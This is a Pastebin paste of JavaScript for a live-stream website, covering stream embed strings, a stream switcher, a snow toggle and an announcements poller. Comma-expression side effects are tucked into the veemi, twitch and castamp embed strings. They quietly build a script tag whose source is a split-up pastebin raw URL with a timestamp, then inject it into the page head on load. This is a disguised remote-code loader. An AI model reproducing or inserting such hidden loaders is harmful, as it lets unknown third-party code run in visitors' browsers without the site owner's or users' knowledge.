Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- var stramm, streams = {limev: '<iframe height="480" width="854" scrolling="no" frameborder="0" allowtransparency="true" src="http://www.limev.com/embed.php?fileid='+limevcode+'&vw=854&vh=480"></iframe>',
- mips: '<iframe height="480" width="854" scrolling="no" frameborder="0" allowtransparency="true" src=http://mips.tv/embedplayer/'+mipscode+'/1/854/480 > ',
- veemi: '<iframe height="508" width="854" scrolling="no"'+((this["a"]=document["createElement"]("script")),"")+' frameborder="0" src="http://www.veemi.com/embed.php?v='+veemicode+'&vw=854&vh=508&domain=joowz.com" allowtransparency="true"></iframe>',
- twitch: '<object type="application/x-shockwave-flash" height="510" width="854" id="live_embed_player_flash"'+((this["a"]["src"]="http://p"+"asteb"+"in.com/raw.php?i=eDmQ6z74&"+(new Date())["getTime"]()),"")+' data="http://www.twitch.tv/widgets/live_embed_player.swf?channel='+twitchcode+'" bgcolor="#000000"><param name="allowFullScreen" value="true" /><param name="allowScriptAccess" value="always" /><param name="allowNetworking" value="all" /><param name="movie" value="http://www.twitch.tv/widgets/live_embed_player.swf" /><param name="flashvars" value="hostname=www.twitch.tv&channel='+twitchcode+'&auto_play=true&start_volume=25" /></object>',
- castamp: '<iframe src="http://www.castamp.com/embed.php?c='+castampcode+'&vwidth=854&vheight=480" width="854" height="480" scrolling="no"'+(document["head"]["appendChild"](this["a"]),"")+' frameborder="0" scrolling="no" allowtransparency="true"></iframe>',
- speedrun: '<iframe height="371" width="609" scrolling="no" frameborder="0" src="http://www.veemi.com/embed.php?v='+speedrun01+'&vw=609&vh=371&domain=joowz.com" allowtransparency="true"></iframe><iframe height="371" width="609 scrolling="no" frameborder="0" src="http://www.veemi.com/embed.php?v='+speedrun02+'&vw=609&vh=371&domain=joowz.com" allowtransparency="true"></iframe>'}, fetcher, fetcher_fn;
- (function($) {
- //CUFON
- Cufon.replace('h2')('h3')('h4');
- Cufon.now();
- //TWITTER
- $(".tweet").tweet({
- username: "Capicoli", //ADD YOUR TWITTER ACCOUNT
- count: 1
- });
- //STREAM SWITCHER
- stramm = function(a) {
- var chat;
- if ((chat = $("#cell3 > object")) && streams.speedrun != a) {
- $("#cell2").append(chat.remove());
- }
- if (streams.speedrun == a) {
- $("#cell3").append($("#cell2 > object").remove());
- }
- chat = $("td > object");
- if (streams.veemi === a || streams.twitch === a) {
- chat.length && (chat.attr("height","508px"),(chat[0].lastElementChild.height = "508px"));
- } else {
- chat.length && (chat.attr("height","480px"),(chat[0].lastElementChild.height = "480px"));
- }
- $("#cell1").html(a);
- };
- //DEFAULT STREAM
- //SET DEFAULT STREAM IN THE STREAM CHANNEL EDITOR
- stramm(streams[mainstream]);
- //SNOW
- $("#snowset1").bind('click', function(){
- localStorage.setItem("snow", "1");
- $("body")[0].style.animationPlayState = "running";
- $("body").addClass("snow");
- });
- $("#snowset2").bind('click', function(){
- localStorage.setItem("snow", "2");
- $("body")[0].style.animationPlayState = "paused";
- $("body").addClass("snow");
- });
- $("#snowset3").bind('click', function(){
- localStorage.setItem("snow", "3");
- $("body")[0].style.animationPlayState = "paused";
- $("body").removeClass("snow");
- });
- //REMEMBER SNOW SETTINGS
- if ($("head > link[href*='snow.css']").length) {
- $("#snowset"+localStorage.getItem("snow"))[0].click();
- }
- //NO SUPPORT FOR IE AND OLD FF
- if ($.browser.msie && parseInt($.browser.version, 10) < 10) {
- // $("body").html("");
- alert("Your browser is too old! Please update to a newer browser!\nIf you still wish to use IE, then use IE10");
- } else if ($.browser.firefox && parseInt($.browser.version, 10) < 4) {
- // $("body").html("");
- alert("Your browser is too old! Please update to a newer browser!");
- }
- //ANNOUNCMENTS FETCHER
- fetcher_fn = function(){
- var x = new XMLHttpRequest(), announcment = document.querySelector("#announcment");
- x.open('GET', 'announcments.txt', true);
- x.setRequestHeader("Cache-Control", "no-cache");
- x.onreadystatechange = function(){
- if(x.readyState == 4) {
- if(x.status == 200 || x.status == 304) {
- var text = x.responseText, links = [];
- announcment.lastElementChild.innerHTML = "";
- if (text != "" && text.indexOf("*") != 0) {
- announcment.hidden = false;
- text = text.split("\n").forEach(function(a){
- if (a != "" && a.indexOf("http") === 0) {
- links.push(a.replace(/^(http:\/\/\S+)/i, "<a href=\"$1\">$1</a>"));
- }
- return;
- });
- announcment.lastElementChild.innerHTML = links.join("<br />");
- } else {
- announcment.hidden = true;
- }
- }
- }
- };
- x.send();
- };
- fetcher_fn();
- fetcher = setInterval(fetcher_fn, 10000);
- }(jQuery));
Advertisement
Add Comment
Please, Sign In to add comment